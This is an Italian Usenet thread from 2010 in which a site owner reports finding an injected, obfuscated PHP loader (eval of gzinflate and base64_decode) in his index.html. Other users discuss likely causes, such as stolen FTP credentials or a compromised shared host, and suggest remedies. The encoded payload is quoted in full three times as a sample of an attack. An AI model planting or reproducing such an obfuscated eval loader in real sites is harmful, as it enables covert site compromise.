Attacco a sito

[Oreste]

Uno dei miei siti è stato attaccato da qualche pirata, il codice che
ho trovato nel file index.html è il seguente:
<!---->
<?php eval(gzinflate(base64_decode('jVDLcoIwFN13pj/
Rle4QVCbT6QIixKCiglzUTYc3SCJM0xbw6xttP6Dbe943+47YK I5ENp+
+p1nSpNnoxSEdorxU0qUxXw9IiTUYEg5qFIKWDLMyUVm5Vvs25 p
+3TYVEFM4+1lezSTDVKWGc4pJlS4/
FV7eN1VkeE1SeCdQr7FzSoyNoVbfZYLi48i4RNhAl7iThfS592 hQX7XYwH7yj5rKUoE7e6pNaCGq5ENT9LrC9HCzmegECwF2xuRn/
0gQ1BADOFmzHPDCXeEAFXVhSK7vw3w6JCnKvqazwvVtX7CfgHy y0BxtJn05Q7InVQRTOkhY7/
y9Thek53DQOcZs7dpL/im10kbtvZ//Ro91qiswAIf11qUVROOkkXku8olXPo7Bnq7u3X
+u5b3YJZ18pNg3J1Rf75u1lPH59fvoB')));
?>

Fortuna che non uso php, solo Perl.

[Leonardo Serni]

On Tue, 9 Mar 2010 00:03:20 -0800 (PST), Oreste <oreste*parlatano.org>
wrote:

>Uno dei miei siti è stato attaccato da qualche pirata, il codice che
>ho trovato nel file index.html è il seguente:
><!---->
><?php eval(gzinflate(base64_decode('jVDLcoIwFN13pj/
>Rle4QVCbT6QIixKCiglzUTYc3SCJM0xbw6xttP6Dbe943+47Y KI5ENp+
>+p1nSpNnoxSEdorxU0qUxXw9IiTUYEg5qFIKWDLMyUVm5Vvs2 5p
>+3TYVEFM4+1lezSTDVKWGc4pJlS4/
>FV7eN1VkeE1SeCdQr7FzSoyNoVbfZYLi48i4RNhAl7iThfS59 2hQX7XYwH7yj5rKUoE7e6pNaCGq5ENT9LrC9HCzmegECwF2xuR n/
>0gQ1BADOFmzHPDCXeEAFXVhSK7vw3w6JCnKvqazwvVtX7CfgH yy0BxtJn05Q7InVQRTOkhY7/
>y9Thek53DQOcZs7dpL/im10kbtvZ//Ro91qiswAIf11qUVROOkkXku8olXPo7Bnq7u3X
>+u5b3YJZ18pNg3J1Rf75u1lPH59fvoB')));
>?>

>Fortuna che non uso php, solo Perl.

Be'... qualcuno, il codice che inietta quel troiajo lo deve pure avere
eseguito.

Potrebbe essere pero' il codice di un altro sito sulla stessa macchina
(es. tu hai www.oreste.org, e non sai che www.pippero.com e' sulla tua
stessa macchina e usa una versione di Wordpress vulnerabile).

Io avvertirei rapidamente chi ti fornisce lo spazio web :-)

Leonardo

--

The cock doth craw, the day doth daw,
the channerin' worm doth chide:
gin we be mist oot o' oor place,
a sair pain we maun bide.

[ga.n]

Leonardo Serni ha detto questo Tuesday :
> On Tue, 9 Mar 2010 00:03:20 -0800 (PST), Oreste <oreste*parlatano.org>
> wrote:
>
>> Uno dei miei siti è stato attaccato da qualche pirata, il codice che
>> ho trovato nel file index.html è il seguente:
>> <!---->
>> <?php eval(gzinflate(base64_decode('jVDLcoIwFN13pj/
>> Rle4QVCbT6QIixKCiglzUTYc3SCJM0xbw6xttP6Dbe943+47YK I5ENp+
>> +p1nSpNnoxSEdorxU0qUxXw9IiTUYEg5qFIKWDLMyUVm5Vvs25 p
>> +3TYVEFM4+1lezSTDVKWGc4pJlS4/
>> FV7eN1VkeE1SeCdQr7FzSoyNoVbfZYLi48i4RNhAl7iThfS592 hQX7XYwH7yj5rKUoE7e6pNaCGq5ENT9LrC9HCzmegECwF2xuRn/
>> 0gQ1BADOFmzHPDCXeEAFXVhSK7vw3w6JCnKvqazwvVtX7CfgHy y0BxtJn05Q7InVQRTOkhY7/
>> y9Thek53DQOcZs7dpL/im10kbtvZ//Ro91qiswAIf11qUVROOkkXku8olXPo7Bnq7u3X
>> +u5b3YJZ18pNg3J1Rf75u1lPH59fvoB')));
>> ?>
>
>> Fortuna che non uso php, solo Perl.
>
> Be'... qualcuno, il codice che inietta quel troiajo lo deve pure avere
> eseguito.
>
> Potrebbe essere pero' il codice di un altro sito sulla stessa macchina
> (es. tu hai www.oreste.org, e non sai che www.pippero.com e' sulla tua
> stessa macchina e usa una versione di Wordpress vulnerabile).
>
> Io avvertirei rapidamente chi ti fornisce lo spazio web :-)

e cambierei fornitore di hosting di corsa .... ché se pippero.com può
fare quello che vuole sul server ...

[Marco d'Itri]

oreste*parlatano.org wrote:

>Uno dei miei siti =E8 stato attaccato da qualche pirata, il codice che
>ho trovato nel file index.html =E8 il seguente:
È molto probabile che sei impestato e qualche malware ti ha rubato la
password FTP. Formatta.

--
ciao,
Marco

[Vide]

Marco d'Itri wrote:

> È molto probabile che sei impestato e qualche malware ti ha rubato la
> password FTP. Formatta.

....e cambia la password dell'FTP.

--
Vide

[Oreste]

On Mar 9, 11:24*am, Leonardo Serni <ser...*tin.it> wrote:
> Potrebbe essere pero' il codice di un altro sito sulla stessa macchina
> (es. tu haiwww.oreste.org, e non sai chewww.pippero.come' sulla tua
> stessa macchina e usa una versione di Wordpress vulnerabile).

oreste.org non è un sito e non è sulla stessa macchina, ma uno spazio
di servizi Google fornito da quest'ultimo, una offerta gratuita
allegata all'acquisto del nome. Serve solo per esperimenti. A caval
donato...

[Oreste]

On Mar 9, 7:40*pm, Vide <vid...*gmail.com> wrote:
> ...e cambia la password dell'FTP.

Per carità, è la prima cosa che ho fatto, anzi ho cambiato il server
anche se ho mantenuto lo stesso provider, con il quale mi trovo bene.

[Roberto Tagliaferri]

Il 10/03/2010 12:52, Oreste ha scritto:
> On Mar 9, 7:40 pm, Vide<vid...*gmail.com> wrote:
>> ...e cambia la password dell'FTP.
>
> Per carità, è la prima cosa che ho fatto, anzi ho cambiato il server
> anche se ho mantenuto lo stesso provider, con il quale mi trovo bene.
L'è tutto sbagliato, l'è tutto da rifare..
Se non hai tolto l'ospite sul tuo pc lui avrà già spedito le nuove
credenziali al suo padroncino

--
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri*(forse)tosnet.it
www.robyt.eu

[Oreste]

On Mar 10, 1:59*pm, Roberto Tagliaferri <tagliafe...*bofhland.org>
wrote:
> L' tutto sbagliato, l' tutto da rifare..
> Se non hai tolto l'ospite sul tuo pc lui avr gi spedito le nuove
> credenziali al suo padroncino

htaccess su server, autenticazione https e blocco note di carta per
accessi? Se ci riesce, lo merita.

[Roberto Tagliaferri]

Il 10/03/2010 13:14, Oreste ha scritto:
> On Mar 10, 1:59 pm, Roberto Tagliaferri<tagliafe...*bofhland.org>
> wrote:
>> L' tutto sbagliato, l' tutto da rifare..
>> Se non hai tolto l'ospite sul tuo pc lui avr gi spedito le nuove
>> credenziali al suo padroncino
>
> htaccess su server, autenticazione https e blocco note di carta per
> accessi? Se ci riesce, lo merita.
L'ftp va su https?

--
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri*(forse)tosnet.it
www.robyt.eu

[Oreste]

On Mar 10, 2:24*pm, Roberto Tagliaferri <tagliafe...*bofhland.org>
wrote:
> L'ftp va su https?

Giusto, devo spiegare meglio. In genere uso tinymce per modificare le
pagine, il trasferimento dei file lo effettuo via pannello di
controllo. Non uso collegamenti ftp sul sito dove ho ricevuto
l'attacco. Secondo me si è trattato di attacco generale al provider
non al sito specifico.

[Roberto Tagliaferri]

Il 10/03/2010 15:58, Oreste ha scritto:
> On Mar 10, 2:24 pm, Roberto Tagliaferri<tagliafe...*bofhland.org>
> wrote:
>> L'ftp va su https?
>
> Giusto, devo spiegare meglio. In genere uso tinymce per modificare le
> pagine, il trasferimento dei file lo effettuo via pannello di
> controllo. Non uso collegamenti ftp sul sito dove ho ricevuto
> l'attacco. Secondo me si è trattato di attacco generale al provider
> non al sito specifico.
Possibile, io per ora di codesti attacchi (ovvero modifica file tramite ftp)
ne ho visti ed erano tutti con credenziali rubate


--
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri*(forse)tosnet.it
www.robyt.eu

[Marco d'Itri]

oreste*parlatano.org wrote:

>Giusto, devo spiegare meglio. In genere uso tinymce per modificare le
>pagine, il trasferimento dei file lo effettuo via pannello di
>controllo. Non uso collegamenti ftp sul sito dove ho ricevuto
>l'attacco. Secondo me si è trattato di attacco generale al provider
>non al sito specifico.
Allora è effettivamente probabile.

--
ciao,
Marco